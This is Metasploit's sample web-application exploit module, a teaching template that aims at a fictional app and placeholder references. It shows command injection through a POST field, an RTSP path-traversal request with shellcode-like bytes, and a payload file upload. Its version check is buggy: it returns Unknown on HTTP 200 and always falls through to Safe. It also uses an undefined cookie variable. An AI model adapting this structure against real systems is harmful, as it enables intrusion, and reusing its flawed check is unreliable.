##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary web server
#
###
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

  #
  # This exploit affects a webapp, so we need to import HTTP Client
  # to easily interact with it.
  #
  include Msf::Exploit::Remote::HttpClient

  # There are libraries for several CMSes such as WordPress, Typo3,
  # SharePoint, Nagios XI, Moodle, Joomla, JBoss, and Drupal.
  #
  # The following import just includes the code for the WordPress library,
  # however you can find other similar libraries at
  # https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/exploit/remote/http
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(
      update_info(
        info,
        # The Name should be just like the line of a Git commit - software name,
        # vuln type, class. Preferably apply
        # some search optimization so people can actually find the module.
        # We encourage consistency between module name and file name.
        'Name' => 'Sample Webapp Exploit',
        'Description' => %q{
          This exploit module illustrates how a vulnerability could be exploited
          in a webapp.
        },
        'License' => MSF_LICENSE,
        # The place to add your name/handle and email.  Twitter and other contact info isn't handled here.
        # Add reference to additional authors, like those creating original proof of concepts or
        # reference materials.
        # It is also common to comment in who did what (PoC vs metasploit module, etc)
        'Author' => [
          'h00die <mike@stcyrsecurity.com>', # msf module
          'researcher' # original PoC, analysis
        ],
        'References' => [
          [ 'OSVDB', '12345' ],
          [ 'EDB', '12345' ],
          [ 'URL', 'http://www.example.com'],
          [ 'CVE', '1978-1234']
        ],
        # platform refers to the type of platform.  For webapps, this is typically the language of the webapp.
        # js, php, python, nodejs are common, this will effect what payloads can be matched for the exploit.
        # A full list is available in lib/msf/core/payload/uuid.rb
        'Platform' => ['python'],
        # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
        'Privileged' => false,
        # from underlying architecture of the system.  typically ARCH_X64 or ARCH_X86, but for webapps typically
        # this is the application language. ARCH_PYTHON, ARCH_PHP, ARCH_JAVA are some examples
        # A full list is available in lib/msf/core/payload/uuid.rb
        'Arch' => ARCH_PYTHON,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2023-12-30',
        # Note that DefaultTarget refers to the index of an item in Targets, rather than name.
        # It's generally easiest just to put the default at the beginning of the list and skip this
        # entirely.
        'DefaultTarget' => 0,
        # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
        'Notes' => {
          'Stability' => [],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )
    # set the default port, and a URI that a user can set if the app isn't installed to the root
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', '123456']),
        OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/example/'])
      ]
    )
  end

  #
  # The sample exploit checks the index page to verify the version number is exploitable
  # we use a regex for the version number
  #
  def check
    # only catch the response if we're going to use it, in this case we do for the version
    # detection.
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET'
    )
    # gracefully handle if res comes back as nil, since we're not guaranteed a response
    # also handle if we get an unexpected HTTP response code
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200

    # here we're looking through html for the version string, similar to:
    # Version 1.2
    %r{Version: (?<version>\d{1,2}\.\d{1,2})</td>} =~ res.body

    if version && Rex::Version.new(version) <= Rex::Version.new('1.3')
      CheckCode::Appears("Version Detected: #{version}")
    end

    CheckCode::Safe
  end

  #
  # The exploit method attempts a login, then attempts to throw a command execution
  # at a web page through a POST variable
  #
  def exploit
    # attempt a login. In this case we show basic auth, and a POST to a fake username/password
    # simply to show how both are done
    vprint_status('Attempting login')
    # since we will check res to see if auth was a success, make sure to capture the return
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login.php'),
      'method' => 'POST',
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      # automatically handle cookies with keep_cookies.  Alternatively use cookie = res.get_cookies and 'cookie' => cookie,
      'keep_cookies' => true,
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      },
      'vars_get' => {
        'example' => 'example'
      }
    )

    # a valid login will give us a 301 redirect to /home.html so check that.
    # ALWAYS assume res could be nil and check it first!!!!!
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 301

    # we don't care what the response is, so don't bother saving it from send_request_cgi
    # datastore['HttpClientTimeout'] ONLY IF we need a longer HTTP timeout
    vprint_status('Attempting exploit')
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'command.html'),
      'method' => 'POST',
      'vars_post' =>
      {
        'cmd_str' => payload.encoded
      }
    }, datastore['HttpClientTimeout'])

    # send_request_raw is used when we need to break away from the HTTP protocol in some way for the exploit to work
    send_request_raw({
      'method' => 'DESCRIBE',
      'proto' => 'RTSP',
      'version' => '1.0',
      'uri' => '/' + ('../' * 560) + "\xcc\xcc\x90\x90" + '.smi'
    }, datastore['HttpClientTimeout'])

    # example of sending a MIME message
    data = Rex::MIME::Message.new
    # https://github.com/rapid7/rex-mime/blob/master/lib/rex/mime/message.rb
    file_contents = payload.encoded
    data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"uploaded.bin\"")
    data.add_part('example', nil, nil, "form-data; name=\"_wpnonce\"")

    post_data = data.to_s

    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'async-upload.php'),
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => post_data,
      'cookie'  => cookie
    )
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end
